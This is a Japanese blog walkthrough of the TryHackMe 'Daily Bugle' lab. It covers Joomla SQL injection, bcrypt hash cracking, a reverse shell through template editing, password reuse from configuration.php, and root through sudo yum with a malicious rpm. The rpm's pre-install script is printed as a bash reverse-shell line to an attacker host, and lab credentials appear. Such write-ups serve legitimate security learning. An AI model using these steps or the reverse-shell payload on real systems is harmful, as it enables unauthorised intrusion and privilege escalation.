[Try Hack Me] Daily Bugle (Walk Through)
Try Hack MeのDaily Bugleをやってみたので,自分の振り返りも兼ねて手順を残しておこうと思います.
(あとこういうの書いたこと無いから書いてみたかった^^)
問題について
"Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum."
とのことです.(すごいネタバレするやん)
解く
とりあえずポートスキャンする.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3306/tcp open mysql MariaDB (unauthorized)
sshとウェブページとmySQLが見えます.
デフォルトの3306でmySQLを外部公開しちゃうのはよろしくない,と習いました.
よろしくないですね.
ウェブページはこんな感じ,ブログみたいな感じでしょうか.ログインフォームもあります.
ディレクトリ探索もしておきます
/administrator
が気になります.見てみると,
ログインページが出てきました.多分後で使うのでしょう.
問題でJoomlaのバージョンを聞かれているので探してみます.
こちらのサイトを参考に
http://<targetIP>/language/en-GB/en-GB.xml
を見てみると
書いてありました.
joomlaのバージョンは3.7.0です.
で,ここで"Instead of using SQLMap, why not use a python script!"という誘導があります.
OSCPはSQLMap使ったらだめですもんね.
SQLインジェクションとか書いてあるので,パスワードに' or 1=1#
とか入れてみたりしてみたんですけど,そんなに甘くなかったです.
一旦何かないかググってみます.
joomla 3.7.0のSQLインジェクションの脆弱性に効く,pythonのコードが見つかりました.
使ってみます.
なんかパスワードハッシュっぽいのが出てきてます.
Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
$2y$10$
って何だ?これも含めてjohnTheRipperしてみたらいいのかな?と思って調べてみたら,これは"Bcrypt"というハッシュアルゴリズムでハッシュ化されたパスワードらしく,"2y"はハッシュアルゴリズムのバージョンを"10"はストレッチング回数を表しているらしいです.
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
を全部hash.txt
に入れてJohnTheRipperに渡してみます.
パスワードはspiderman123らしい.
(ここでメモ)
echoする時''
で囲んで文字列だよ!としてあげないといけません.
あれ!?ってなりました.
出てきたパスワードを使ってログインします.
http://<targetIP>/
のログインフォームにログインしてみたのですが,特に何もありませんでした.
ここで/administrator
があったのを思い出しました.そっちでログインします.
管理ページが出てきました.
なんかファイルアップロードしたりできそうです.
リバースシェルのコードを置けて,それを読み込むことが出来たら嬉しいですね.
index.phpとか変えれたりしないかな...
とググっていたら
なんか変えれそうです.
Templatesの"beez3"の"index.php"を開きます.
この中身をドーンと変えちゃいます.
こちらを使わせて頂きます.(IPとPORTを自分のものに変えます)
netcatで待ち受けて,ウェブページをリロードします.
何も来ません.
ちょっと戻ってみます.
この下の方だったんじゃない?星付いてるし,Default for all pagesとか書いてあるし,多分そうです.
同じようにindex.phpを変えます.
そして,netcatで待ち受けて,ウェブページをリロードします.
来ました!
でもuser.txtはまだ早いみたいです.
今,私は"apache"みたいなので"jjameson"になりたいですね.
分からないので,linpeasします.
なんかのパスワードでしょうか??
sh-4.2$ cat /var/www/html/configuration.php
cat /var/www/html/configuration.php
<?php
class JConfig {
public $offline = '0';
...
public $host = 'localhost';
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu';
public $db = 'joomla';
...
public $session_handler = 'database';
public $shared_session = '0';
}sh-4.2$
rootかjjamesonのパスワードだったりしないかなと試します.
jjamesonさんになれました.
権限昇格したい
yumがどうのと書いてあったのでyumのバージョンを調べてみます.
[jjameson@dailybugle tmp]$ yum --version
3.4.3
インストール: rpm-4.11.3-40.el7.x86_64 (日時: 2019-12-14 18:58)
構築 : CentOS BuildSystem <http://bugs.centos.org> (日時: 2019-08-06 22:50)
コミット : Pavlina Moravcova Varekova <pmoravco@redhat.com> (日時: 2019-05-26)
インストール: yum-3.4.3-163.el7.centos.noarch (日時: 2019-12-14 18:58)
構築 : CentOS BuildSystem <http://bugs.centos.org> (日時: 2019-08-08 11:57)
コミット : CentOS Sources <bugs@centos.org> (日時: 2019-08-06)
インストール: yum-plugin-fastestmirror-1.1.31-52.el7.noarch (日時: 2019-12-14 18:58)
構築 : CentOS BuildSystem <http://bugs.centos.org> (日時: 2019-08-09 03:26)
コミット : Michal Domonkos <mdomonko@redhat.com> (日時: 2019-04-26)
"yum 3.4.3 exploit"等とググってみたのですが特になんかいいものはありません.
もう一度linpeasを召喚します.
凄くオレンジです!
SUDOでyumが使えるみたいです.
rpmパッケージを作って,それがインストールされる時にペイロードを実行出来たらいいわけです.
以下のように,ペイロード,shshsh.shを作成します.
#!/bin/bash
bash -i >& /dev/tcp/<attacker>/<port> 0>&1
こんな感じでrpmパッケージを作ります.
意味は
-
-n root
パッケージ名を"root"に -
-s dir
ソースの種類,ディレクトリです -
-t rpm
ターゲットの種類,rpmパッケージを作って欲しいので"rpm"とします -
--before-install /tmp/rpmtest/shshsh.sh
インストールの前に実行されるスクリプトを指定する.今回"shshsh.sh"を指定! ← これが大事 -
/tmp/rpmtest
パッケージとして作成されるディレクトリ
です.
参考
こうして作られた"root-1.0-1.noarch.rpm "をtargetに置きます.
netcatで待ち受けて,target側でsudo yum localinstall -y root-1.0-1.noarch.rpm
を実行します.
rootとれました!
感想
SQLiの部分も,yumを使った権限昇格の部分も,誘導がなければだいぶ苦戦していたと思うし,色んなサイトの言う通りにしただけなので,何をしたかをちゃんと理解して,自分の力で解いていけるように頑張って行きたいと思います.
Discussion